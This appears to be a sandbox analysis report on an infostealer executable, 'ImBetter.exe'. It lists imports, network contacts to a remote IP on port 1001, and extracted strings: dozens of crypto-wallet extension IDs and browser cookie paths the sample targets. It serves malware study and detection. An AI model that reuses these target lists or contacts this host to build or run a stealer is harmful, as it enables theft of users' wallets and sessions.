Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x4d704	0x4d800	False	0.503449470766129	data	6.4474421045920325	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x4f000	0x1b4f4	0x1b600	False	0.4425834760273973	data	5.2619519502128105	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x6b000	0x314c	0x1a00	False	0.1661658653846154	data	3.234410688926144	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x6f000	0x3ccc	0x3e00	False	0.47114415322580644	data	5.627054358023384	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
_RDATA	0x73000	0x15c	0x200	False	0.4140625	data	3.349985497408317	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x74000	0x1e0	0x200	False	0.52734375	data	4.7176788329467545	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x75000	0xb40	0xc00	False	0.5042317708333334	data	5.319956882375031	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_MANIFEST	0x74060	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States

Imports

DLL	Import
KERNEL32.dll	GetLastError, GetSystemTimeAsFileTime, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, SetLastError, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, HeapFree, HeapAlloc, MultiByteToWideChar, WideCharToMultiByte, GetCurrentThreadId, FlsAlloc, FlsGetValue, FlsSetValue, FlsFree, InitializeCriticalSectionAndSpinCount, FreeLibrary, GetProcAddress, LoadLibraryExW, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetFileSizeEx, SetFilePointerEx, GetStdHandle, GetFileType, GetStartupInfoW, FlushFileBuffers, WriteFile, GetConsoleOutputCP, GetConsoleMode, CloseHandle, ReadFile, RaiseException, ReadConsoleW, HeapReAlloc, Sleep, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, GetStringTypeW, ExitProcess, GetModuleHandleExW, SetStdHandle, CreateFileW, WriteConsoleW, GetEnvironmentStringsW, FreeEnvironmentStringsW, HeapSize, SetEvent, ResetEvent, WaitForSingleObjectEx, CreateEventW, QueryPerformanceCounter, GetCurrentProcessId, InitializeSListHead, RtlUnwindEx, RtlUnwind, RtlPcToFileHeader, EncodePointer, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetCommandLineW, GetCommandLineA, CompareStringEx, LCMapStringEx, DecodePointer, GetModuleHandleW, GetModuleFileNameW, InitializeCriticalSectionEx, GetFileInformationByHandleEx, AreFileApisANSI, GetProcessHeap, GetPhysicallyInstalledSystemMemory, LocalFree, FormatMessageA, GetLocaleInfoEx, FindClose, FindFirstFileW, FindFirstFileExW, FindNextFileW, GetFileAttributesExW, SetEndOfFile
USER32.dll	GetWindowRect, EnumDisplayDevicesW, GetDesktopWindow
ADVAPI32.dll	GetCurrentHwProfileW
SHELL32.dll	SHGetKnownFolderPath
ole32.dll	CoTaskMemFree
WS2_32.dll	WSAStartup, send, inet_pton, closesocket, WSACleanup, connect, socket, recv, htons
CRYPT32.dll	CryptUnprotectData

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 5, 2023 06:19:01.659547091 CET	49696	1001	192.168.2.3	85.192.63.32
Mar 5, 2023 06:19:04.670747995 CET	49696	1001	192.168.2.3	85.192.63.32
Mar 5, 2023 06:19:10.671271086 CET	49696	1001	192.168.2.3	85.192.63.32

Chrome Debug Log

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

System Behavior

Analysis Process: ImBetter.exePID: 5676, Parent PID: 3452

General

Target ID:	0
Start time:	06:19:00
Start date:	05/03/2023
Path:	C:\Users\user\Desktop\ImBetter.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\ImBetter.exe
Imagebase:	0x7ff7e6b00000
File size:	457216 bytes
MD5 hash:	E7B7595C06031D68BCDF6F13CB4632A6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: ImBetter.exePID: 5676, Parent PID: 3452COMMON

Execution Graph

Execution Coverage:	9.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	27.4%
Total number of Nodes:	2000
Total number of Limit Nodes:	129

Executed Functions

Function 00007FF7E6B12670 Relevance: 250.2, APIs: 11, Strings: 131, Instructions: 1743COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E6B02EB0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B02FBB
Part of subcall function 00007FF7E6B02EB0: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7E6B02FC1

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B146CD
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B146D3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B146F0
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B146F6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B1470F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B14715
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B1471B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B14721
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B14736
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B1473C

Part of subcall function 00007FF7E6B3CAAC: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7E6B3CADC
Part of subcall function 00007FF7E6B3CAAC: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7E6B3CAE2

Strings

bocpokimicclpaiekenaeelehdjllofo, xrefs: 00007FF7E6B12BAE
fhilaheimglignddkjgofkcbgekhenbh, xrefs: 00007FF7E6B12FCE
Eternl, xrefs: 00007FF7E6B13572
pocmplpaccanhmnllbbkpgfliimjljgo, xrefs: 00007FF7E6B12CCE
DAppPlay, xrefs: 00007FF7E6B1287E
Crocobit, xrefs: 00007FF7E6B12F3E
nphplpgoakhhjchkkhmiggakijnkhfnd, xrefs: 00007FF7E6B12C0E
afbcbjpbpfadlkmhmclhkeeodmamcflc, xrefs: 00007FF7E6B12A2E
aholpfdialjgjfhomihkjbmgjidlcdno, xrefs: 00007FF7E6B135F7
Bitapp, xrefs: 00007FF7E6B127BE
cphhlgmgameodnhkjdmkpanlelnlohao, xrefs: 00007FF7E6B13453
kmhcihpebfmpgmihbkipmjlmmioameka, xrefs: 00007FF7E6B1356B
Guild, xrefs: 00007FF7E6B1293E
bhhhlbepdkbapadjdnnojkbgioiodbic, xrefs: 00007FF7E6B13223
MetaWallet, xrefs: 00007FF7E6B12DBE
phkbamefinggmakgklpkljjmgibohnba, xrefs: 00007FF7E6B1320E
Hycon Lite Client, xrefs: 00007FF7E6B132FC
gjagmgiddbbciopjhllkdnddhcglnemk, xrefs: 00007FF7E6B13373
odbfpeeihdkbihmopkbjmoonfanlbfcl, xrefs: 00007FF7E6B13613
ojbpcbinjmochkhelkflddfnmcceomdi, xrefs: 00007FF7E6B133C7
Maiar DeFi Wallet, xrefs: 00007FF7E6B135AA
ldinpeekobnhjjdofggfgjlcehhmanlj, xrefs: 00007FF7E6B12D8E
Trust Wallet, xrefs: 00007FF7E6B135E2
kncchdigobghenbbaddojjnnaogfppfj, xrefs: 00007FF7E6B1325B
fhmfendgdocmcbmfikdcogofphimnkno, xrefs: 00007FF7E6B12C6E
Brave Wallet, xrefs: 00007FF7E6B1361A
TronLink, xrefs: 00007FF7E6B12B1E
Coinbase, xrefs: 00007FF7E6B1329A
dmkamcknogkgcdfhhbddcghachkejeap, xrefs: 00007FF7E6B12F0E
jbdaocneiiinmjbjlgalhcelgbejmnid, xrefs: 00007FF7E6B1302E
Hiro Wallet, xrefs: 00007FF7E6B12D5E
Auro, xrefs: 00007FF7E6B133EA, 00007FF7E6B134E6
epapihdplajcdnnkdeiahlgigofloibg, xrefs: 00007FF7E6B133AB
cmndjbecilbocjfkibfbifhngkdmjgog, xrefs: 00007FF7E6B12E4E
Byone, xrefs: 00007FF7E6B13556
ZilPay, xrefs: 00007FF7E6B1353A
bkklifkecemccedpkhcebagjpehhabfb, xrefs: 00007FF7E6B12DEE
Finnie, xrefs: 00007FF7E6B12E7E
nlgbhdfgdhgbiamfdfmbikcdghidoadd, xrefs: 00007FF7E6B1354F
Phantom, xrefs: 00007FF7E6B12ABE
Nami, xrefs: 00007FF7E6B1358E
Goby, xrefs: 00007FF7E6B13326
flpiciilemghbmfalicajoolhkkenfel, xrefs: 00007FF7E6B129CE
Solflare, xrefs: 00007FF7E6B1322A
Exodus(web), xrefs: 00007FF7E6B135FE
XDeFi, xrefs: 00007FF7E6B13492
OneKey, xrefs: 00007FF7E6B132E0, 00007FF7E6B134CA
recursive_directory_iterator::recursive_directory_iterator, xrefs: 00007FF7E6B146BA
nanjmdknhkinifnkgdcggcfnhdaammmj, xrefs: 00007FF7E6B1296E
Metamask, xrefs: 00007FF7E6B126FE
hcflpincpppdclinealmandijcmnkbgn, xrefs: 00007FF7E6B134A7
jnmbobjmhlngoefaiojfljckilhhlhcj, xrefs: 00007FF7E6B132D9, 00007FF7E6B134C3
Hashpack, xrefs: 00007FF7E6B1337A
lodccjjbdhfakaekdiahmedfbieldgik, xrefs: 00007FF7E6B128AE
Starcoin, xrefs: 00007FF7E6B12CFE
recursive_directory_iterator::operator++, xrefs: 00007FF7E6B14729
fnjhmkhhmkbjkkabndcnnogagogbneec, xrefs: 00007FF7E6B130EE
hmeobnfnfcmdkdcmlblgagmfpfboieaf, xrefs: 00007FF7E6B1348B
pdadjkfkgcafgbceimcpbkalnfnepbnk, xrefs: 00007FF7E6B1341B
kpfopkelmapcoipemfendmdcghnegimn, xrefs: 00007FF7E6B1308E
Keplr, xrefs: 00007FF7E6B12EDE
Slope, xrefs: 00007FF7E6B12C9E
Swash, xrefs: 00007FF7E6B12E1E
hnfanknocfeofbddgcijnmhnfnkdnaad, xrefs: 00007FF7E6B13293
Temple, xrefs: 00007FF7E6B1317E
nhnkbkgjikgcigadomkphalanndcapjk, xrefs: 00007FF7E6B134FB
Polymesh, xrefs: 00007FF7E6B1351E
blnieiiffboillknjnepogjhkgnoapac, xrefs: 00007FF7E6B1290E
ookjlbkiijinhpmnjffcofjonbfbgaoc, xrefs: 00007FF7E6B131AE
XinPay, xrefs: 00007FF7E6B12B7E
ICONex, xrefs: 00007FF7E6B1299E
Wombat, xrefs: 00007FF7E6B1327E
Equal, xrefs: 00007FF7E6B128DE
lpfcbjknijpeeillifnkikgncikgfhdo, xrefs: 00007FF7E6B13587
ifckdpamphokdglkkdomedpdegcjhjdp, xrefs: 00007FF7E6B13357
Sollet, xrefs: 00007FF7E6B12C3E
Liquality, xrefs: 00007FF7E6B1305E
pnlfjmlcjdjgkddecgincndfgegkecke, xrefs: 00007FF7E6B12F6E
mnfifefkajgofkcjkemidiaecocnkjeh, xrefs: 00007FF7E6B1333B
Nifty, xrefs: 00007FF7E6B12FFE
egjidjbpglichdcondbcbdnbeeppgdph, xrefs: 00007FF7E6B135DB
klnaejjgbibmhlephnhpmaofohgkpgkd, xrefs: 00007FF7E6B13533
Terra Station, xrefs: 00007FF7E6B13406
Zecrey, xrefs: 00007FF7E6B133CE
Sender Wallet, xrefs: 00007FF7E6B133B2
nknhiehlklippafakaeklbeglecifhad, xrefs: 00007FF7E6B1346F
dngmlblcodfobpdpecaadgfbcggfjfnm, xrefs: 00007FF7E6B135A3
Pontem, xrefs: 00007FF7E6B131DE
ffnbelfdoeiohenkjibnmadjiehjhajb, xrefs: 00007FF7E6B1323F
Yoroi, xrefs: 00007FF7E6B13246
iWallet, xrefs: 00007FF7E6B13262
bfnaelmomeimhlpmgjnjophhpkkoljpa, xrefs: 00007FF7E6B12AEE
KardiaChain, xrefs: 00007FF7E6B13422
Math, xrefs: 00007FF7E6B129FE
cnmamaachppnkjgnildpdmkaakejnhae, xrefs: 00007FF7E6B133E3, 00007FF7E6B134DF
TezBox, xrefs: 00007FF7E6B13342
directory_iterator::directory_iterator, xrefs: 00007FF7E6B146E3, 00007FF7E6B14702
Oxygen, xrefs: 00007FF7E6B12F9E
ONTO Wallet, xrefs: 00007FF7E6B1335E
amkmjjmmflddogmhpjloimipbofnfjih, xrefs: 00007FF7E6B13277
ppdadbejkmjnefldpcdjhnkpbjkikoip, xrefs: 00007FF7E6B1314E
jnkelfanjkeadonecabehalmbgpfodjm, xrefs: 00007FF7E6B1331F
Rabby, xrefs: 00007FF7E6B1343E
Leaf Wallet, xrefs: 00007FF7E6B135C6
nlbmnnijcnlegkjjpcfjclmcfggfefdm, xrefs: 00007FF7E6B132AF
cjmkndjhnagcfbpiemnkdpomccnjblmj, xrefs: 00007FF7E6B12EAE
cihmoadaighcejopammfbmddcmdekcje, xrefs: 00007FF7E6B135BF
aiifbnbfobpmeekipheeijimdpnlpgpp, xrefs: 00007FF7E6B133FF
nkbihfbeogaeaoehlefnkodbefgpgknn, xrefs: 00007FF7E6B1272E
Coin98, xrefs: 00007FF7E6B1281E
aeachknmefphepccionboohckonoeemg, xrefs: 00007FF7E6B1284E
dkdedlpgdmmkkfjabffeganieamfklkm, xrefs: 00007FF7E6B1338F
jojhfeoedkpkglbfimdfabpdfjaoolaf, xrefs: 00007FF7E6B13517
fihkakfobkmkjojpchpfgcmhfjnmnfpi, xrefs: 00007FF7E6B127EE
Ton, xrefs: 00007FF7E6B12BDE
Mobox, xrefs: 00007FF7E6B12A5E
KHC, xrefs: 00007FF7E6B134AE
Nabox, xrefs: 00007FF7E6B13476
BinanceChain, xrefs: 00007FF7E6B1275E
mfhbebgoclkghebffdldpobeajmbecfk, xrefs: 00007FF7E6B12D2E
Cyano, xrefs: 00007FF7E6B13396
MewCx, xrefs: 00007FF7E6B132B6
fhbohimaelbohpjbbldcngcnapndodjp, xrefs: 00007FF7E6B1278E
bcopgchhojmggmffilplmbdicgaihlkp, xrefs: 00007FF7E6B132F5
CLW, xrefs: 00007FF7E6B13502
fcckkdbjnoikooededlapcalpionmalo, xrefs: 00007FF7E6B12A8E
acmacodkjbdgmoleebolmdjonilkdbch, xrefs: 00007FF7E6B13437
Ronin, xrefs: 00007FF7E6B130BE
NeoLine, xrefs: 00007FF7E6B1345A
Oasis, xrefs: 00007FF7E6B1311E
ibnejdfjmmkpcnlpebklmnkoeoihofec, xrefs: 00007FF7E6B12B4E

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_task
String ID: Auro$BinanceChain$Bitapp$Brave Wallet$Byone$CLW$Coin98$Coinbase$Crocobit$Cyano$DAppPlay$Equal$Eternl$Exodus(web)$Finnie$Goby$Guild$Hashpack$Hiro Wallet$Hycon Lite Client$ICONex$KHC$KardiaChain$Keplr$Leaf Wallet$Liquality$Maiar DeFi Wallet$Math$MetaWallet$Metamask$MewCx$Mobox$Nabox$Nami$NeoLine$Nifty$ONTO Wallet$Oasis$OneKey$Oxygen$Phantom$Polymesh$Pontem$Rabby$Ronin$Sender Wallet$Slope$Solflare$Sollet$Starcoin$Swash$Temple$Terra Station$TezBox$Ton$TronLink$Trust Wallet$Wombat$XDeFi$XinPay$Yoroi$Zecrey$ZilPay$acmacodkjbdgmoleebolmdjonilkdbch$aeachknmefphepccionboohckonoeemg$afbcbjpbpfadlkmhmclhkeeodmamcflc$aholpfdialjgjfhomihkjbmgjidlcdno$aiifbnbfobpmeekipheeijimdpnlpgpp$amkmjjmmflddogmhpjloimipbofnfjih$bcopgchhojmggmffilplmbdicgaihlkp$bfnaelmomeimhlpmgjnjophhpkkoljpa$bhhhlbepdkbapadjdnnojkbgioiodbic$bkklifkecemccedpkhcebagjpehhabfb$blnieiiffboillknjnepogjhkgnoapac$bocpokimicclpaiekenaeelehdjllofo$cihmoadaighcejopammfbmddcmdekcje$cjmkndjhnagcfbpiemnkdpomccnjblmj$cmndjbecilbocjfkibfbifhngkdmjgog$cnmamaachppnkjgnildpdmkaakejnhae$cphhlgmgameodnhkjdmkpanlelnlohao$directory_iterator::directory_iterator$dkdedlpgdmmkkfjabffeganieamfklkm$dmkamcknogkgcdfhhbddcghachkejeap$dngmlblcodfobpdpecaadgfbcggfjfnm$egjidjbpglichdcondbcbdnbeeppgdph$epapihdplajcdnnkdeiahlgigofloibg$fcckkdbjnoikooededlapcalpionmalo$ffnbelfdoeiohenkjibnmadjiehjhajb$fhbohimaelbohpjbbldcngcnapndodjp$fhilaheimglignddkjgofkcbgekhenbh$fhmfendgdocmcbmfikdcogofphimnkno$fihkakfobkmkjojpchpfgcmhfjnmnfpi$flpiciilemghbmfalicajoolhkkenfel$fnjhmkhhmkbjkkabndcnnogagogbneec$gjagmgiddbbciopjhllkdnddhcglnemk$hcflpincpppdclinealmandijcmnkbgn$hmeobnfnfcmdkdcmlblgagmfpfboieaf$hnfanknocfeofbddgcijnmhnfnkdnaad$iWallet$ibnejdfjmmkpcnlpebklmnkoeoihofec$ifckdpamphokdglkkdomedpdegcjhjdp$jbdaocneiiinmjbjlgalhcelgbejmnid$jnkelfanjkeadonecabehalmbgpfodjm$jnmbobjmhlngoefaiojfljckilhhlhcj$jojhfeoedkpkglbfimdfabpdfjaoolaf$klnaejjgbibmhlephnhpmaofohgkpgkd$kmhcihpebfmpgmihbkipmjlmmioameka$kncchdigobghenbbaddojjnnaogfppfj$kpfopkelmapcoipemfendmdcghnegimn$ldinpeekobnhjjdofggfgjlcehhmanlj$lodccjjbdhfakaekdiahmedfbieldgik$lpfcbjknijpeeillifnkikgncikgfhdo$mfhbebgoclkghebffdldpobeajmbecfk$mnfifefkajgofkcjkemidiaecocnkjeh$nanjmdknhkinifnkgdcggcfnhdaammmj$nhnkbkgjikgcigadomkphalanndcapjk$nkbihfbeogaeaoehlefnkodbefgpgknn$nknhiehlklippafakaeklbeglecifhad$nlbmnnijcnlegkjjpcfjclmcfggfefdm$nlgbhdfgdhgbiamfdfmbikcdghidoadd$nphplpgoakhhjchkkhmiggakijnkhfnd$odbfpeeihdkbihmopkbjmoonfanlbfcl$ojbpcbinjmochkhelkflddfnmcceomdi$ookjlbkiijinhpmnjffcofjonbfbgaoc$pdadjkfkgcafgbceimcpbkalnfnepbnk$phkbamefinggmakgklpkljjmgibohnba$pnlfjmlcjdjgkddecgincndfgegkecke$pocmplpaccanhmnllbbkpgfliimjljgo$ppdadbejkmjnefldpcdjhnkpbjkikoip$recursive_directory_iterator::operator++$recursive_directory_iterator::recursive_directory_iterator
API String ID: 3936042273-1179365970
Opcode ID: cee5f989a0020ea7eb7328af45eef333f2dd5bd4de6dae129be0480c1380866e
Instruction ID: 2430703b195eb68f3aa38239a1839a3233f73bfdd75f85cb9c928b22ee22b1c0
Opcode Fuzzy Hash: cee5f989a0020ea7eb7328af45eef333f2dd5bd4de6dae129be0480c1380866e
Instruction Fuzzy Hash: BB03A3B2A28BC691DA20EB25D8403EBF362FBD5384FA05232D68C53959DF3CE585C751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B1A8C0 Relevance: 83.1, APIs: 6, Strings: 41, Instructions: 810
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7E6B03900: __std_fs_code_page.LIBCPMT ref: 00007FF7E6B03923
Part of subcall function 00007FF7E6B03900: __std_fs_convert_narrow_to_wide.LIBCPMT ref: 00007FF7E6B03976
Part of subcall function 00007FF7E6B03900: __std_fs_convert_narrow_to_wide.LIBCPMT ref: 00007FF7E6B039AE

Part of subcall function 00007FF7E6B09B50: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B09C6C
Part of subcall function 00007FF7E6B09B50: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7E6B09C72

Part of subcall function 00007FF7E6B02FD0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B030B2
Part of subcall function 00007FF7E6B02FD0: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7E6B030BE

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B1BA31
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B1BA37
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B1BA3D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B1BA43
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B1BA49
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B1BA4F

Strings

Comodo\Dragon\User Data\Default\Cookies, xrefs: 00007FF7E6B1AC89
TitanCoD, xrefs: 00007FF7E6B1B613
CoolNovo\User Data\Default\Cookies, xrefs: 00007FF7E6B1B1A6
Yandex\YandexBrowser\User Data\Default\Cookies, xrefs: 00007FF7E6B1AF75
BraveSoftware\Brave-Browser\User DataDefault\Cookies, xrefs: 00007FF7E6B1ABCE
SRWareCoD, xrefs: 00007FF7E6B1B56E
OperaCoD, xrefs: 00007FF7E6B1AB88
BraveCoD, xrefs: 00007FF7E6B1AC43
ComodoCoD, xrefs: 00007FF7E6B1ACFE
ChromeCoD, xrefs: 00007FF7E6B1A963
Epic Browser\User Data\Default\Cookies, xrefs: 00007FF7E6B1B261
BlackHawk\User Data\Default\Cookies, xrefs: 00007FF7E6B1B030
CoolNovCoD, xrefs: 00007FF7E6B1B21B
AcWebBrowser\User Data\Default\Cookies, xrefs: 00007FF7E6B1B0EB
Opera Software\Opera Stable\Cookies, xrefs: 00007FF7E6B1AB13
Google\Chrome\User Data\Default\Cookies, xrefs: 00007FF7E6B1A8F4
YandexCoD, xrefs: 00007FF7E6B1AFEA
CentBrowser\User Data\Default\Cookies, xrefs: 00007FF7E6B1ADFF
CentCoD, xrefs: 00007FF7E6B1AE74
EpicCoD, xrefs: 00007FF7E6B1B2D0
Sleipnir\User Data\Default\Cookies, xrefs: 00007FF7E6B1B45C
AcWebBrCoD, xrefs: 00007FF7E6B1B160
BaiduCoD, xrefs: 00007FF7E6B1B379
Rockmelt\User Data\Default\Cookies, xrefs: 00007FF7E6B1B3B3
~, xrefs: 00007FF7E6B1AA99
Vivaldi\User Data\Default\Cookies, xrefs: 00007FF7E6B1AA58
Go!\User Data\Default\Cookies, xrefs: 00007FF7E6B1AEBA
RockMeCoD, xrefs: 00007FF7E6B1B422
Titan Browser\User Data\Default\Cookies, xrefs: 00007FF7E6B1B5A8
TorchCoD, xrefs: 00007FF7E6B1ADB9
SleipnirCoD, xrefs: 00007FF7E6B1B4C7
Torch\User Data\Default\Cookies, xrefs: 00007FF7E6B1AD44
EdgeCoD, xrefs: 00007FF7E6B1AA12
BlackHaCoD, xrefs: 00007FF7E6B1B0A5
Baidu Spark\User Data\Default\Cookies, xrefs: 00007FF7E6B1B30A
SRWare Iron\User Data\Default\Cookies, xrefs: 00007FF7E6B1B505
', xrefs: 00007FF7E6B1B5B4
?, xrefs: 00007FF7E6B1B5CB
Go!CoD, xrefs: 00007FF7E6B1AF2F
VivaldiCoD, xrefs: 00007FF7E6B1AACD
Microsoft\Edge\User Data\Default\Cookies, xrefs: 00007FF7E6B1A99D

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_task__std_fs_convert_narrow_to_wide$__std_fs_code_page
String ID: '$?$AcWebBrCoD$AcWebBrowser\User Data\Default\Cookies$Baidu Spark\User Data\Default\Cookies$BaiduCoD$BlackHaCoD$BlackHawk\User Data\Default\Cookies$BraveCoD$BraveSoftware\Brave-Browser\User DataDefault\Cookies$CentBrowser\User Data\Default\Cookies$CentCoD$ChromeCoD$ComodoCoD$Comodo\Dragon\User Data\Default\Cookies$CoolNovCoD$CoolNovo\User Data\Default\Cookies$EdgeCoD$Epic Browser\User Data\Default\Cookies$EpicCoD$Go!CoD$Go!\User Data\Default\Cookies$Google\Chrome\User Data\Default\Cookies$Microsoft\Edge\User Data\Default\Cookies$Opera Software\Opera Stable\Cookies$OperaCoD$RockMeCoD$Rockmelt\User Data\Default\Cookies$SRWare Iron\User Data\Default\Cookies$SRWareCoD$SleipnirCoD$Sleipnir\User Data\Default\Cookies$Titan Browser\User Data\Default\Cookies$TitanCoD$TorchCoD$Torch\User Data\Default\Cookies$VivaldiCoD$Vivaldi\User Data\Default\Cookies$YandexCoD$Yandex\YandexBrowser\User Data\Default\Cookies$~
API String ID: 2277398295-3585414701
Opcode ID: b238d6e96e1d30a55de7bc91ac52c18cb5a74fc7982a14534c1a2a38742b4b03
Instruction ID: 5dbeb27d71e6cc8fd35ea699e0bb05127bad914f1db39f923f3eefa46560340a
Opcode Fuzzy Hash: b238d6e96e1d30a55de7bc91ac52c18cb5a74fc7982a14534c1a2a38742b4b03
Instruction Fuzzy Hash: FEA2A662928BC695E760EF38DC453EAB321FF94348F905232E68D4695AEF78D384C741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B197C0 Relevance: 77.8, APIs: 1, Strings: 43, Instructions: 770
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7E6B03900: __std_fs_code_page.LIBCPMT ref: 00007FF7E6B03923
Part of subcall function 00007FF7E6B03900: __std_fs_convert_narrow_to_wide.LIBCPMT ref: 00007FF7E6B03976
Part of subcall function 00007FF7E6B03900: __std_fs_convert_narrow_to_wide.LIBCPMT ref: 00007FF7E6B039AE

Part of subcall function 00007FF7E6B09B50: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B09C6C
Part of subcall function 00007FF7E6B09B50: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7E6B09C72

Part of subcall function 00007FF7E6B02FD0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B030B2
Part of subcall function 00007FF7E6B02FD0: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7E6B030BE

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B1A8AB

Strings

SRWare Iron\User Data\Default\Network\Cookies, xrefs: 00007FF7E6B1A3F9
SleipnirCo, xrefs: 00007FF7E6B1A3BF
Vivaldi\User Data\Default\Network\Cookies, xrefs: 00007FF7E6B1995E
Comodo\Dragon\User Data\Default\Network\Cookies, xrefs: 00007FF7E6B19B8F
TitanCo, xrefs: 00007FF7E6B1A511
Sleipnir\User Data\Default\Network\Cookies, xrefs: 00007FF7E6B1A350
OperaCo, xrefs: 00007FF7E6B19A8E
ComodoCo, xrefs: 00007FF7E6B19C04
VivaldiCo, xrefs: 00007FF7E6B199D3
ChromeCo, xrefs: 00007FF7E6B19865
BlackHawk\User Data\Default\Network\Cookies, xrefs: 00007FF7E6B19F36
Flock\User Data\Default\Network\Cookies, xrefs: 00007FF7E6B1A54B
BraveSoftware\Brave-Browser\User DataDefault\Network\Cookies, xrefs: 00007FF7E6B19AD4
?, xrefs: 00007FF7E6B1A4C8
CoolNovCo, xrefs: 00007FF7E6B1A11B
AcWebBrowser\User Data\Default\Network\Cookies, xrefs: 00007FF7E6B19FF1
Rockmelt\User Data\Default\Network\Cookies, xrefs: 00007FF7E6B1A2A7
SRWareCo, xrefs: 00007FF7E6B1A468
Go!Co, xrefs: 00007FF7E6B19E35
~, xrefs: 00007FF7E6B1999F
Microsoft\Edge\User Data\Default\Network\Cookies, xrefs: 00007FF7E6B198A3
AcWebBrCo, xrefs: 00007FF7E6B1A066
RockMeCo, xrefs: 00007FF7E6B1A316
EdgeCo, xrefs: 00007FF7E6B19918
